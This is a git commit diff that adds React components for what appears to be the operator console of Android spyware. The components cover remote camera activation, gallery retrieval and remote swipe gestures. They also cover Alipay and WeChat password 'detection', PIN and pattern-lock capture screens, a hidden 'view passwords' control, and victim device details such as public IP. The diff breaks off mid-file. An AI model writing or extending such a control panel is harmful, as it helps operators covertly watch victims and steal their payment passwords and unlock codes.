111
This commit is contained in:
98
src/components/Control/CameraControlCard.tsx
Normal file
98
src/components/Control/CameraControlCard.tsx
Normal file
@@ -0,0 +1,98 @@
|
||||
import React from 'react'
|
||||
import { Card, Row, Col, Button } from 'antd'
|
||||
import { VideoCameraOutlined, StopOutlined, CameraOutlined, SwapOutlined } from '@ant-design/icons'
|
||||
|
||||
export interface CameraControlCardProps {
|
||||
operationEnabled: boolean
|
||||
isCameraActive: boolean
|
||||
currentCameraType: 'front' | 'back'
|
||||
cameraViewVisible: boolean
|
||||
onStart: () => void
|
||||
onStop: () => void
|
||||
onSwitch: (type: 'front' | 'back') => void
|
||||
onToggleView: () => void
|
||||
}
|
||||
|
||||
export const CameraControlCard: React.FC<CameraControlCardProps> = ({
|
||||
operationEnabled,
|
||||
isCameraActive,
|
||||
currentCameraType,
|
||||
onStart,
|
||||
onStop,
|
||||
onSwitch
|
||||
}) => {
|
||||
return (
|
||||
<Card >
|
||||
<Row gutter={[8, 8]}>
|
||||
<Col span={6}>
|
||||
<Button
|
||||
block
|
||||
type={isCameraActive ? 'default' : 'primary'}
|
||||
icon={<VideoCameraOutlined />}
|
||||
onClick={onStart}
|
||||
disabled={!operationEnabled || isCameraActive}
|
||||
style={{ background: !isCameraActive && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined, borderColor: !isCameraActive && operationEnabled ? '#52c41a' : undefined, color: !isCameraActive && operationEnabled ? 'white' : undefined }}
|
||||
>
|
||||
{isCameraActive ? '摄像头已启动' : '启动摄像头'}
|
||||
</Button>
|
||||
</Col>
|
||||
<Col span={6}>
|
||||
<Button
|
||||
block
|
||||
type={isCameraActive ? 'primary' : 'default'}
|
||||
icon={<StopOutlined />}
|
||||
onClick={onStop}
|
||||
disabled={!operationEnabled || !isCameraActive}
|
||||
style={{ background: isCameraActive && operationEnabled ? 'linear-gradient(135deg, #ff4d4f 0%, #ff7875 100%)' : undefined, borderColor: isCameraActive && operationEnabled ? '#ff4d4f' : undefined, color: isCameraActive && operationEnabled ? 'white' : undefined }}
|
||||
>
|
||||
{isCameraActive ? '停止摄像头' : '摄像头已停止'}
|
||||
</Button>
|
||||
</Col>
|
||||
|
||||
<Col span={6}>
|
||||
<Button
|
||||
block
|
||||
type={currentCameraType === 'front' ? 'primary' : 'default'}
|
||||
icon={<CameraOutlined />}
|
||||
onClick={() => onSwitch('front')}
|
||||
disabled={!operationEnabled || !isCameraActive}
|
||||
style={{ background: currentCameraType === 'front' && operationEnabled && isCameraActive ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined, borderColor: currentCameraType === 'front' && operationEnabled && isCameraActive ? '#1890ff' : undefined, color: currentCameraType === 'front' && operationEnabled && isCameraActive ? 'white' : undefined }}
|
||||
>
|
||||
前置摄像头
|
||||
</Button>
|
||||
</Col>
|
||||
<Col span={6}>
|
||||
<Button
|
||||
block
|
||||
type={currentCameraType === 'back' ? 'primary' : 'default'}
|
||||
icon={<SwapOutlined />}
|
||||
onClick={() => onSwitch('back')}
|
||||
disabled={!operationEnabled || !isCameraActive}
|
||||
style={{ background: currentCameraType === 'back' && operationEnabled && isCameraActive ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined, borderColor: currentCameraType === 'back' && operationEnabled && isCameraActive ? '#722ed1' : undefined, color: currentCameraType === 'back' && operationEnabled && isCameraActive ? 'white' : undefined }}
|
||||
>
|
||||
后置摄像头
|
||||
</Button>
|
||||
</Col>
|
||||
</Row>
|
||||
|
||||
{/* <Row gutter={[8, 8]} style={{ marginTop: 8 }}>
|
||||
<Col span={24}>
|
||||
<Button
|
||||
block
|
||||
type={cameraViewVisible ? 'primary' : 'default'}
|
||||
icon={<EyeOutlined />}
|
||||
onClick={onToggleView}
|
||||
disabled={!operationEnabled || !isCameraActive}
|
||||
style={{ background: cameraViewVisible && operationEnabled && isCameraActive ? 'linear-gradient(135deg, #fa8c16 0%, #fa541c 100%)' : undefined, borderColor: cameraViewVisible && operationEnabled && isCameraActive ? '#fa8c16' : undefined, color: cameraViewVisible && operationEnabled && isCameraActive ? 'white' : undefined }}
|
||||
>
|
||||
{cameraViewVisible ? '隐藏摄像头画面' : '显示摄像头画面'}
|
||||
</Button>
|
||||
</Col>
|
||||
</Row> */}
|
||||
</Card>
|
||||
)
|
||||
}
|
||||
|
||||
export default CameraControlCard
|
||||
|
||||
|
||||
4188
src/components/Control/ControlPanel.tsx
Normal file
4188
src/components/Control/ControlPanel.tsx
Normal file
File diff suppressed because it is too large
Load Diff
4718
src/components/Control/ControlPanel.tsx.bak
Normal file
4718
src/components/Control/ControlPanel.tsx.bak
Normal file
File diff suppressed because it is too large
Load Diff
297
src/components/Control/DebugFunctionsCard.tsx
Normal file
297
src/components/Control/DebugFunctionsCard.tsx
Normal file
@@ -0,0 +1,297 @@
|
||||
import React, { useState } from 'react'
|
||||
import { Card, Button, Row, Col } from 'antd'
|
||||
import { NodeIndexOutlined, DollarOutlined, WechatOutlined, KeyOutlined, AppstoreOutlined } from '@ant-design/icons'
|
||||
|
||||
export interface DebugFunctionsCardProps {
|
||||
// 基本
|
||||
children?: React.ReactNode
|
||||
title?: string
|
||||
extra?: React.ReactNode
|
||||
footer?: React.ReactNode
|
||||
style?: React.CSSProperties
|
||||
loading?: boolean
|
||||
actions?: React.ReactNode[]
|
||||
collapsible?: boolean
|
||||
defaultCollapsed?: boolean
|
||||
// 运行态
|
||||
operationEnabled: boolean
|
||||
// 屏幕阅读器
|
||||
screenReaderEnabled?: boolean
|
||||
screenReaderLoading?: boolean
|
||||
onToggleScreenReader: () => void
|
||||
// 虚拟按键
|
||||
virtualKeyboardEnabled?: boolean
|
||||
onToggleVirtualKeyboard: () => void
|
||||
// 支付宝/微信检测
|
||||
alipayDetectionEnabled: boolean
|
||||
wechatDetectionEnabled: boolean
|
||||
onStartAlipayDetection: () => void
|
||||
onStopAlipayDetection: () => void
|
||||
onStartWechatDetection: () => void
|
||||
onStopWechatDetection: () => void
|
||||
// 密码操作
|
||||
onOpenFourDigitPin: () => void
|
||||
onOpenSixDigitPin: () => void
|
||||
onOpenPatternLock: () => void
|
||||
passwordFilter: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'
|
||||
onPasswordFilterChange: (v: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD') => void
|
||||
onViewPasswords: () => void
|
||||
// 显示控制
|
||||
showScreenReaderControls?: boolean
|
||||
showPasswordControls?: boolean
|
||||
// 手势操作
|
||||
onSwipeUp?: () => void
|
||||
onSwipeDown?: () => void
|
||||
onSwipeLeft?: () => void
|
||||
onSwipeRight?: () => void
|
||||
onPullDownLeft?: () => void
|
||||
onPullDownRight?: () => void
|
||||
}
|
||||
|
||||
export const DebugFunctionsCard: React.FC<DebugFunctionsCardProps> = ({
|
||||
title = '调试功能',
|
||||
extra,
|
||||
footer,
|
||||
style,
|
||||
loading,
|
||||
actions,
|
||||
collapsible = false,
|
||||
defaultCollapsed = false,
|
||||
operationEnabled,
|
||||
screenReaderEnabled,
|
||||
screenReaderLoading,
|
||||
onToggleScreenReader,
|
||||
virtualKeyboardEnabled,
|
||||
onToggleVirtualKeyboard,
|
||||
alipayDetectionEnabled,
|
||||
wechatDetectionEnabled,
|
||||
onStartAlipayDetection,
|
||||
onStopAlipayDetection,
|
||||
onStartWechatDetection,
|
||||
onStopWechatDetection,
|
||||
onOpenFourDigitPin,
|
||||
onOpenSixDigitPin,
|
||||
onOpenPatternLock,
|
||||
showScreenReaderControls = true,
|
||||
showPasswordControls = true,
|
||||
onSwipeUp,
|
||||
onSwipeDown,
|
||||
onSwipeLeft,
|
||||
onSwipeRight,
|
||||
onPullDownLeft,
|
||||
onPullDownRight,
|
||||
children
|
||||
}) => {
|
||||
const [collapsed, setCollapsed] = useState<boolean>(defaultCollapsed)
|
||||
|
||||
const renderExtra = (
|
||||
<div style={{ display: 'flex', gap: 8, alignItems: 'center' }}>
|
||||
{extra}
|
||||
{collapsible && (
|
||||
<Button type="link" size="small" onClick={() => setCollapsed(v => !v)}>
|
||||
{collapsed ? '展开' : '收起'}
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
|
||||
return (
|
||||
<Card
|
||||
title={title}
|
||||
size="small"
|
||||
extra={renderExtra}
|
||||
style={style}
|
||||
loading={loading}
|
||||
actions={actions}
|
||||
>
|
||||
{!collapsed && children && (
|
||||
<div style={{ marginBottom: 16 }}>
|
||||
{children}
|
||||
</div>
|
||||
)}
|
||||
{!collapsed && (
|
||||
<>
|
||||
{showScreenReaderControls && (
|
||||
<Row gutter={[8, 8]} style={{ marginTop: 8 ,display:'none'}}>
|
||||
<Col span={24}>
|
||||
<Button
|
||||
block
|
||||
type={screenReaderEnabled ? 'primary' : 'dashed'}
|
||||
icon={<NodeIndexOutlined />}
|
||||
onClick={onToggleScreenReader}
|
||||
disabled={!operationEnabled}
|
||||
loading={screenReaderLoading}
|
||||
style={{
|
||||
fontSize: 12,
|
||||
background: screenReaderEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
|
||||
borderColor: screenReaderEnabled ? '#52c41a' : undefined
|
||||
}}
|
||||
>
|
||||
📱 {screenReaderEnabled ? '增强版屏幕阅读器已启用' : '启用增强版屏幕阅读器'}
|
||||
</Button>
|
||||
</Col>
|
||||
<Col span={24}>
|
||||
<Button
|
||||
block
|
||||
type={virtualKeyboardEnabled ? 'primary' : 'dashed'}
|
||||
icon={<KeyOutlined />}
|
||||
onClick={onToggleVirtualKeyboard}
|
||||
disabled={!operationEnabled || !screenReaderEnabled}
|
||||
style={{
|
||||
fontSize: 12,
|
||||
background: virtualKeyboardEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
|
||||
borderColor: virtualKeyboardEnabled ? '#1890ff' : undefined
|
||||
}}
|
||||
>
|
||||
⌨️ {virtualKeyboardEnabled ? '虚拟按键已显示' : '显示虚拟按键'}
|
||||
</Button>
|
||||
</Col>
|
||||
</Row>
|
||||
)}
|
||||
|
||||
{showPasswordControls && (
|
||||
<Row gutter={[8, 8]} style={{ marginTop: 8 }}>
|
||||
<Col span={12}>
|
||||
<Button
|
||||
block
|
||||
type={alipayDetectionEnabled ? 'default' : 'primary'}
|
||||
icon={<DollarOutlined />}
|
||||
onClick={alipayDetectionEnabled ? onStopAlipayDetection : onStartAlipayDetection}
|
||||
disabled={!operationEnabled}
|
||||
style={{
|
||||
background: !alipayDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
|
||||
borderColor: !alipayDetectionEnabled && operationEnabled ? '#1890ff' : undefined,
|
||||
color: !alipayDetectionEnabled && operationEnabled ? 'white' : undefined
|
||||
}}
|
||||
>
|
||||
{alipayDetectionEnabled ? '停止支付宝检测' : '支付宝检测'}
|
||||
</Button>
|
||||
</Col>
|
||||
<Col span={12}>
|
||||
<Button
|
||||
block
|
||||
type={wechatDetectionEnabled ? 'default' : 'primary'}
|
||||
icon={<WechatOutlined />}
|
||||
onClick={wechatDetectionEnabled ? onStopWechatDetection : onStartWechatDetection}
|
||||
disabled={!operationEnabled}
|
||||
style={{
|
||||
background: !wechatDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
|
||||
borderColor: !wechatDetectionEnabled && operationEnabled ? '#52c41a' : undefined,
|
||||
color: !wechatDetectionEnabled && operationEnabled ? 'white' : undefined
|
||||
}}
|
||||
>
|
||||
{wechatDetectionEnabled ? '停止微信检测' : '微信检测'}
|
||||
</Button>
|
||||
</Col>
|
||||
|
||||
<Col span={12}>
|
||||
<Button
|
||||
block
|
||||
type="primary"
|
||||
icon={<KeyOutlined />}
|
||||
onClick={onOpenFourDigitPin}
|
||||
disabled={!operationEnabled}
|
||||
style={{
|
||||
background: operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
|
||||
borderColor: operationEnabled ? '#52c41a' : undefined,
|
||||
color: operationEnabled ? 'white' : undefined
|
||||
}}
|
||||
>
|
||||
4位PIN输入
|
||||
</Button>
|
||||
</Col>
|
||||
<Col span={12}>
|
||||
<Button
|
||||
block
|
||||
type="primary"
|
||||
icon={<KeyOutlined />}
|
||||
onClick={onOpenSixDigitPin}
|
||||
disabled={!operationEnabled}
|
||||
style={{
|
||||
background: operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
|
||||
borderColor: operationEnabled ? '#1890ff' : undefined,
|
||||
color: operationEnabled ? 'white' : undefined
|
||||
}}
|
||||
>
|
||||
6位PIN输入
|
||||
</Button>
|
||||
</Col>
|
||||
|
||||
<Col span={24}>
|
||||
<Button
|
||||
block
|
||||
type="primary"
|
||||
icon={<AppstoreOutlined />}
|
||||
onClick={onOpenPatternLock}
|
||||
disabled={!operationEnabled}
|
||||
style={{
|
||||
background: operationEnabled ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined,
|
||||
borderColor: operationEnabled ? '#722ed1' : undefined,
|
||||
color: operationEnabled ? 'white' : undefined
|
||||
}}
|
||||
>
|
||||
图形密码输入
|
||||
</Button>
|
||||
</Col>
|
||||
{/*
|
||||
<Col span={24}>
|
||||
<div style={{ display: 'flex', gap: 8 }}>
|
||||
<Select
|
||||
style={{ width: 160 }}
|
||||
value={passwordFilter}
|
||||
onChange={(val) => onPasswordFilterChange(val as any)}
|
||||
options={[
|
||||
{ label: '默认', value: 'DEFAULT' },
|
||||
{ label: '支付宝', value: 'ALIPAY_PASSWORD' },
|
||||
{ label: '微信', value: 'WECHAT_PASSWORD' }
|
||||
]}
|
||||
/>
|
||||
<Button
|
||||
type="default"
|
||||
icon={<FileTextOutlined />}
|
||||
onClick={onViewPasswords}
|
||||
disabled={!operationEnabled}
|
||||
>
|
||||
查看密码
|
||||
</Button>
|
||||
</div>
|
||||
</Col> */}
|
||||
</Row>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
{footer && (
|
||||
<div style={{ marginTop: 8 }}>
|
||||
{footer}
|
||||
</div>
|
||||
)}
|
||||
{/* 手势操作(可选) */}
|
||||
{!collapsed && (onSwipeUp || onSwipeDown || onSwipeLeft || onSwipeRight || onPullDownLeft || onPullDownRight) && (
|
||||
<Row gutter={[8, 8]} style={{ marginTop: 8 }}>
|
||||
{onSwipeUp && (
|
||||
<Col span={12}><Button block onClick={onSwipeUp}>↑ 上滑</Button></Col>
|
||||
)}
|
||||
{onSwipeDown && (
|
||||
<Col span={12}><Button block onClick={onSwipeDown}>↓ 下滑</Button></Col>
|
||||
)}
|
||||
{onSwipeLeft && (
|
||||
<Col span={12}><Button block onClick={onSwipeLeft}>← 左滑</Button></Col>
|
||||
)}
|
||||
{onSwipeRight && (
|
||||
<Col span={12}><Button block onClick={onSwipeRight}>→ 右滑</Button></Col>
|
||||
)}
|
||||
{onPullDownLeft && (
|
||||
<Col span={12}><Button block type="primary" onClick={onPullDownLeft}>⬇️ 左边下拉</Button></Col>
|
||||
)}
|
||||
{onPullDownRight && (
|
||||
<Col span={12}><Button block type="primary" onClick={onPullDownRight}>⬇️ 右边下拉</Button></Col>
|
||||
)}
|
||||
</Row>
|
||||
)}
|
||||
</Card>
|
||||
)
|
||||
}
|
||||
|
||||
export default DebugFunctionsCard
|
||||
|
||||
|
||||
240
src/components/Control/DeviceFilter.tsx
Normal file
240
src/components/Control/DeviceFilter.tsx
Normal file
@@ -0,0 +1,240 @@
|
||||
import React, { useEffect } from 'react'
|
||||
import { Form, Select, DatePicker, Button, Space } from 'antd'
|
||||
import { SearchOutlined, ClearOutlined, FilterOutlined } from '@ant-design/icons'
|
||||
import { useDispatch, useSelector } from 'react-redux'
|
||||
import type { RootState, AppDispatch } from '../../store/store'
|
||||
import type { DeviceFilter } from '../../store/slices/deviceSlice'
|
||||
import { updateDeviceFilter, clearDeviceFilter } from '../../store/slices/deviceSlice'
|
||||
import dayjs from 'dayjs'
|
||||
|
||||
const { Option } = Select
|
||||
const { RangePicker } = DatePicker
|
||||
|
||||
interface DeviceFilterProps {
|
||||
onFilterChange?: (filter: DeviceFilter) => void
|
||||
style?: React.CSSProperties
|
||||
}
|
||||
|
||||
/**
|
||||
* 设备筛选组件
|
||||
*/
|
||||
const DeviceFilterComponent: React.FC<DeviceFilterProps> = ({ onFilterChange, style }) => {
|
||||
const dispatch = useDispatch<AppDispatch>()
|
||||
const { connectedDevices, filter } = useSelector((state: RootState) => state.devices)
|
||||
const [form] = Form.useForm()
|
||||
|
||||
// 获取所有可选的选项
|
||||
const getUniqueValues = (key: keyof DeviceFilter) => {
|
||||
const values = connectedDevices
|
||||
.map(device => device[key as keyof typeof device])
|
||||
.filter((value): value is string => typeof value === 'string' && value !== '')
|
||||
return Array.from(new Set(values)).sort()
|
||||
}
|
||||
|
||||
// 获取所有型号
|
||||
const modelOptions = getUniqueValues('model')
|
||||
|
||||
// 获取所有系统版本
|
||||
const osVersionOptions = getUniqueValues('osVersion')
|
||||
|
||||
// 获取所有APP名称
|
||||
const appNameOptions = getUniqueValues('appName')
|
||||
|
||||
// 初始化表单值
|
||||
useEffect(() => {
|
||||
form.setFieldsValue({
|
||||
model: filter.model,
|
||||
osVersion: filter.osVersion,
|
||||
appName: filter.appName,
|
||||
isLocked: filter.isLocked,
|
||||
status: filter.status || '', // 如果没有status筛选,默认为空字符串(全部)
|
||||
connectedAtRange: filter.connectedAtRange ? [
|
||||
filter.connectedAtRange.start ? dayjs(filter.connectedAtRange.start) : null,
|
||||
filter.connectedAtRange.end ? dayjs(filter.connectedAtRange.end) : null
|
||||
] : null
|
||||
})
|
||||
}, [filter, form])
|
||||
|
||||
// 处理筛选
|
||||
const handleFilter = (values: any) => {
|
||||
const newFilter: DeviceFilter = {
|
||||
model: values.model,
|
||||
osVersion: values.osVersion,
|
||||
appName: values.appName,
|
||||
isLocked: values.isLocked,
|
||||
// status为空字符串表示"全部",不设置status字段
|
||||
status: values.status && values.status !== '' ? values.status as 'online' | 'offline' : undefined,
|
||||
connectedAtRange: values.connectedAtRange ? {
|
||||
start: values.connectedAtRange[0]?.valueOf(),
|
||||
end: values.connectedAtRange[1]?.valueOf()
|
||||
} : undefined
|
||||
}
|
||||
|
||||
// 移除空值
|
||||
Object.keys(newFilter).forEach(key => {
|
||||
if (newFilter[key as keyof DeviceFilter] === undefined ||
|
||||
newFilter[key as keyof DeviceFilter] === '') {
|
||||
delete newFilter[key as keyof DeviceFilter]
|
||||
}
|
||||
})
|
||||
|
||||
dispatch(updateDeviceFilter(newFilter))
|
||||
onFilterChange?.(newFilter)
|
||||
}
|
||||
|
||||
// 清除筛选
|
||||
const handleClear = () => {
|
||||
form.resetFields()
|
||||
dispatch(clearDeviceFilter())
|
||||
onFilterChange?.({})
|
||||
}
|
||||
|
||||
// 获取筛选结果数量
|
||||
const getFilteredCount = () => {
|
||||
const hasFilter = Object.keys(filter).length > 0
|
||||
return hasFilter ? '已筛选' : '全部'
|
||||
}
|
||||
|
||||
return (
|
||||
<div style={{
|
||||
background: 'white',
|
||||
borderRadius: '8px',
|
||||
padding: '16px',
|
||||
marginBottom: '16px',
|
||||
boxShadow: '0 1px 3px rgba(0,0,0,0.1)',
|
||||
...style
|
||||
}}>
|
||||
<Form
|
||||
form={form}
|
||||
layout="inline"
|
||||
onFinish={handleFilter}
|
||||
size="small"
|
||||
style={{
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
gap: '12px',
|
||||
flexWrap: 'wrap'
|
||||
}}
|
||||
>
|
||||
<div style={{
|
||||
display: 'flex',
|
||||
alignItems: 'center',
|
||||
gap: '8px',
|
||||
marginRight: '16px',
|
||||
fontWeight: 500,
|
||||
color: '#262626'
|
||||
}}>
|
||||
<FilterOutlined style={{ color: '#1890ff' }} />
|
||||
筛选
|
||||
<span style={{ fontSize: '12px', color: '#666' }}>
|
||||
({getFilteredCount()})
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<Form.Item name="model" style={{ marginBottom: 0 }}>
|
||||
<Select
|
||||
placeholder="型号"
|
||||
allowClear
|
||||
showSearch
|
||||
style={{ width: 120 }}
|
||||
filterOption={(input, option) => {
|
||||
const label = String((option as any)?.children ?? (option as any)?.label ?? '')
|
||||
return label.toLowerCase().includes(input.toLowerCase())
|
||||
}}
|
||||
>
|
||||
{modelOptions.map(model => (
|
||||
<Option key={model} value={model}>{model}</Option>
|
||||
))}
|
||||
</Select>
|
||||
</Form.Item>
|
||||
|
||||
<Form.Item name="osVersion" style={{ marginBottom: 0 }}>
|
||||
<Select
|
||||
placeholder="系统版本"
|
||||
allowClear
|
||||
showSearch
|
||||
style={{ width: 120 }}
|
||||
filterOption={(input, option) => {
|
||||
const label = String((option as any)?.children ?? (option as any)?.label ?? '')
|
||||
return label.toLowerCase().includes(input.toLowerCase())
|
||||
}}
|
||||
>
|
||||
{osVersionOptions.map(version => (
|
||||
<Option key={version} value={version}>Android {version}</Option>
|
||||
))}
|
||||
</Select>
|
||||
</Form.Item>
|
||||
|
||||
<Form.Item name="appName" style={{ marginBottom: 0 }}>
|
||||
<Select
|
||||
placeholder="APP名称"
|
||||
allowClear
|
||||
showSearch
|
||||
style={{ width: 120 }}
|
||||
filterOption={(input, option) => {
|
||||
const label = String((option as any)?.children ?? (option as any)?.label ?? '')
|
||||
return label.toLowerCase().includes(input.toLowerCase())
|
||||
}}
|
||||
>
|
||||
{appNameOptions.map(appName => (
|
||||
<Option key={appName} value={appName}>{appName}</Option>
|
||||
))}
|
||||
</Select>
|
||||
</Form.Item>
|
||||
|
||||
<Form.Item name="isLocked" style={{ marginBottom: 0 }}>
|
||||
<Select
|
||||
placeholder="锁屏状态"
|
||||
allowClear
|
||||
style={{ width: 100 }}
|
||||
>
|
||||
<Option value={false}>未锁定</Option>
|
||||
<Option value={true}>已锁定</Option>
|
||||
</Select>
|
||||
</Form.Item>
|
||||
|
||||
<Form.Item name="status" style={{ marginBottom: 0 }}>
|
||||
<Select
|
||||
placeholder="在线状态"
|
||||
allowClear={false}
|
||||
style={{ width: 120 }}
|
||||
>
|
||||
<Option value="">全部</Option>
|
||||
<Option value="online">在线</Option>
|
||||
<Option value="offline">离线</Option>
|
||||
</Select>
|
||||
</Form.Item>
|
||||
|
||||
<Form.Item name="connectedAtRange" style={{ marginBottom: 0 }}>
|
||||
<RangePicker
|
||||
placeholder={['开始', '结束']}
|
||||
style={{ width: 240 }}
|
||||
showTime
|
||||
format="MM-DD HH:mm"
|
||||
size="small"
|
||||
/>
|
||||
</Form.Item>
|
||||
|
||||
<Space style={{ marginLeft: 'auto' }}>
|
||||
<Button
|
||||
type="primary"
|
||||
icon={<SearchOutlined />}
|
||||
onClick={() => form.submit()}
|
||||
size="small"
|
||||
>
|
||||
筛选
|
||||
</Button>
|
||||
<Button
|
||||
icon={<ClearOutlined />}
|
||||
onClick={handleClear}
|
||||
size="small"
|
||||
>
|
||||
清除
|
||||
</Button>
|
||||
</Space>
|
||||
</Form>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export default DeviceFilterComponent
|
||||
114
src/components/Control/DeviceInfoCard.tsx
Normal file
114
src/components/Control/DeviceInfoCard.tsx
Normal file
@@ -0,0 +1,114 @@
|
||||
import React, { useEffect, useState } from 'react'
|
||||
import { Card, Input, message } from 'antd'
|
||||
import { useDispatch } from 'react-redux'
|
||||
import apiClient from '../../services/apiClient'
|
||||
import { updateDeviceRemark } from '../../store/slices/deviceSlice'
|
||||
|
||||
export interface DeviceInfoCardProps {
|
||||
device: {
|
||||
id?: string
|
||||
name?: string
|
||||
model?: string
|
||||
systemVersionName?: string
|
||||
osVersion?: string | number
|
||||
romType?: string
|
||||
romVersion?: string
|
||||
osBuildVersion?: string
|
||||
screenWidth?: number
|
||||
screenHeight?: number
|
||||
publicIP?: string
|
||||
remark?: string
|
||||
appName?: string
|
||||
appVersion?: string
|
||||
appPackage?: string
|
||||
connectedAt?: number
|
||||
}
|
||||
}
|
||||
|
||||
export const DeviceInfoCard: React.FC<DeviceInfoCardProps> = ({ device }) => {
|
||||
const dispatch = useDispatch()
|
||||
const [editing, setEditing] = useState(false)
|
||||
const [draftRemark, setDraftRemark] = useState(device?.remark || '')
|
||||
const [saving, setSaving] = useState(false)
|
||||
|
||||
useEffect(() => {
|
||||
setDraftRemark(device?.remark || '')
|
||||
}, [device?.remark])
|
||||
|
||||
const saveRemarkIfChanged = async () => {
|
||||
if (!device?.id) return
|
||||
if ((device?.remark || '') === draftRemark) return
|
||||
setSaving(true)
|
||||
try {
|
||||
await apiClient.put(`/api/devices/${device.id}/remark`, { remark: draftRemark })
|
||||
dispatch(updateDeviceRemark({ deviceId: device.id, remark: draftRemark }))
|
||||
message.success('备注已更新')
|
||||
} catch (_e) {
|
||||
message.error('备注更新失败')
|
||||
} finally {
|
||||
setSaving(false)
|
||||
setEditing(false)
|
||||
}
|
||||
}
|
||||
return (
|
||||
<Card title="设备信息" size="default">
|
||||
<div style={{ fontSize: '18px', lineHeight: '1.6' }}>
|
||||
<div><strong>名称:</strong> {device?.name}</div>
|
||||
<div><strong>型号:</strong> {device?.model}</div>
|
||||
<div><strong>系统:</strong> {device?.systemVersionName ? `${device.systemVersionName} (${device.osVersion})` : `Android ${device?.osVersion ?? ''}`}</div>
|
||||
{device?.romType && device.romType !== '原生Android' && (
|
||||
<div><strong>ROM:</strong> <span style={{ color: '#1890ff' }}>{device.romType}</span></div>
|
||||
)}
|
||||
{device?.romVersion && device.romVersion !== '未知版本' && (
|
||||
<div><strong>ROM版本:</strong> <span style={{ color: '#52c41a' }}>{device.romVersion}</span></div>
|
||||
)}
|
||||
{device?.osBuildVersion && (
|
||||
<div><strong>系统版本号:</strong> <span style={{ color: '#722ed1' }}>{device.osBuildVersion}</span></div>
|
||||
)}
|
||||
<div><strong>分辨率:</strong> {device?.screenWidth}×{device?.screenHeight}</div>
|
||||
<div><strong>公网IP:</strong> {device?.publicIP || '未知'}</div>
|
||||
<div><strong>首次安装时间:</strong> {device?.connectedAt ? new Date(device.connectedAt).toLocaleString() : '未知'}</div>
|
||||
{(device?.appName || device?.appVersion || device?.appPackage) && (
|
||||
<div style={{ marginTop: 6 }}>
|
||||
{device?.appName && (<div><strong>APP名称:</strong> {device.appName}</div>)}
|
||||
{device?.appVersion && (<div><strong>APP版本:</strong> {device.appVersion}</div>)}
|
||||
{device?.appPackage && (<div><strong>APP包名:</strong> {device.appPackage}</div>)}
|
||||
</div>
|
||||
)}
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: 8 }}>
|
||||
<strong style={{ marginRight: 4 }}>备注:</strong>
|
||||
{editing ? (
|
||||
<Input.TextArea
|
||||
autoSize={{ minRows: 1, maxRows: 4 }}
|
||||
value={draftRemark}
|
||||
onChange={(e) => setDraftRemark(e.target.value)}
|
||||
onBlur={saveRemarkIfChanged}
|
||||
onPressEnter={(e) => {
|
||||
if (e.ctrlKey || e.metaKey) {
|
||||
e.preventDefault()
|
||||
saveRemarkIfChanged()
|
||||
}
|
||||
}}
|
||||
disabled={saving}
|
||||
style={{ maxWidth: 360 }}
|
||||
autoFocus
|
||||
/>
|
||||
) : (
|
||||
<span
|
||||
title={device?.remark || '点击编辑备注'}
|
||||
style={{ cursor: 'pointer', maxWidth: 360, whiteSpace: 'pre-wrap', wordBreak: 'break-word' }}
|
||||
onClick={() => setEditing(true)}
|
||||
>
|
||||
{device?.remark || '点击编辑备注'}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</Card>
|
||||
)
|
||||
}
|
||||
|
||||
export default DeviceInfoCard
|
||||
|
||||
|
||||
74
src/components/Control/GalleryControlCard.tsx
Normal file
74
src/components/Control/GalleryControlCard.tsx
Normal file
@@ -0,0 +1,74 @@
|
||||
import React from 'react'
|
||||
import { Button, Image } from 'antd'
|
||||
import { AppstoreOutlined } from '@ant-design/icons'
|
||||
|
||||
export interface GalleryControlCardProps {
|
||||
operationEnabled: boolean
|
||||
onCheckPermission: () => void
|
||||
onGetGallery: () => void
|
||||
savedList?: Array<{
|
||||
id: string | number
|
||||
resolvedUrl?: string
|
||||
url?: string
|
||||
displayName?: string
|
||||
}>
|
||||
}
|
||||
|
||||
export const GalleryControlCard: React.FC<GalleryControlCardProps> = ({
|
||||
operationEnabled,
|
||||
onCheckPermission: _onCheckPermission,
|
||||
onGetGallery,
|
||||
savedList
|
||||
}) => {
|
||||
return (
|
||||
<>
|
||||
<Button
|
||||
block
|
||||
type="default"
|
||||
icon={<AppstoreOutlined />}
|
||||
onClick={onGetGallery}
|
||||
style={{ background: operationEnabled ? 'linear-gradient(135deg, #fa8c16 0%, #fa541c 100%)' : undefined, borderColor: operationEnabled ? '#fa8c16' : undefined, color: operationEnabled ? 'white' : undefined }}
|
||||
>
|
||||
获取相册
|
||||
</Button>
|
||||
{savedList && savedList.length > 0 && (
|
||||
<div style={{ marginTop: 8 }}>
|
||||
<div style={{ fontSize: 12, color: '#666', marginBottom: 8 }}>实时保存的图片</div>
|
||||
<div style={{
|
||||
height: 640,
|
||||
overflowY: 'auto',
|
||||
border: '1px solid #f0f0f0',
|
||||
borderRadius: 4,
|
||||
padding: 8
|
||||
}}>
|
||||
<Image.PreviewGroup>
|
||||
<div style={{
|
||||
display: 'grid',
|
||||
gridTemplateColumns: 'repeat(auto-fill, minmax(120px, 1fr))',
|
||||
gap: 8
|
||||
}}>
|
||||
{savedList.map((img) => (
|
||||
<div key={img.id} style={{ textAlign: 'center' }}>
|
||||
<Image
|
||||
src={img.resolvedUrl || img.url}
|
||||
